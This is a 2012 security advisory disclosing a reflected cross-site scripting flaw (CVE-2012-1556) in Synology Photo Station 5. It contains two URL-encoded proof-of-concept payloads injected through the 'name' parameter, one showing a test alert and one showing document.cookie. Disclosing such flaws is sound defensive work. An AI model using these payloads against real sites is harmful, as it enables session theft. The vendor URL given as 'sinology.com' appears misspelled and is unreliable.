Synology Photo Station 5 - Reflected Cross-Site Scripting

[simon.ganiere () gmail com]

##############################################################################
#
# Title    : Photo Station 5 - Reflected Cross-Site Scripting
# Author   : Simon Ganiere
# Vendor   : http://www.sinology.com
# Advisory : CVE-2012-1556
# Software : Photo Station 5 - DSM 3.2 (1955)
# Date     : 05/02/2012
#
###############################################################################

30/01/2012 Issue Discovered
05/02/2012 Vendor Notified
06/03/2012 Vendor released DSM 4


Class: Cross-Site Scripting (Reflected)

Overview:
---------
Photo Station5 is prone to a reflected cross site scripting vulnerability

Technical Description:
----------------------
Input passed via the 'name' parameter to page: /photo/photo_one.php pages is not properly verified, which allows remote 
attackers to inject arbitrary script code.

Impact:
--------
Successful exploitation could allow remote attackers to execute malicious scripts and steal sensitive data.

Affected Software:
------------------
Photo Station 5, DSM 3.2 (1955)

Tested on:
-----------
Photo Station 5, DSM 3.2 (1955), Mac OS X 10.7.2/10.7.3, Firefox 9.0.1


Proof of Concept:
----------------
1) 
/photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%3c%2f%73%63%72%69%70%74%3e

Generate an alert message in javascript with a text in it. The second name parameter is encoded using urlencode

2) 
/photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e%3c%61%20%68%72%65%66%3d%22

Generate an alert message with the document.cookie in it. The second name parameter is encoded using urlencode.


Vendor URL:
----------------
http://www.sinology.com


Credits:
--------
Simon Ganiere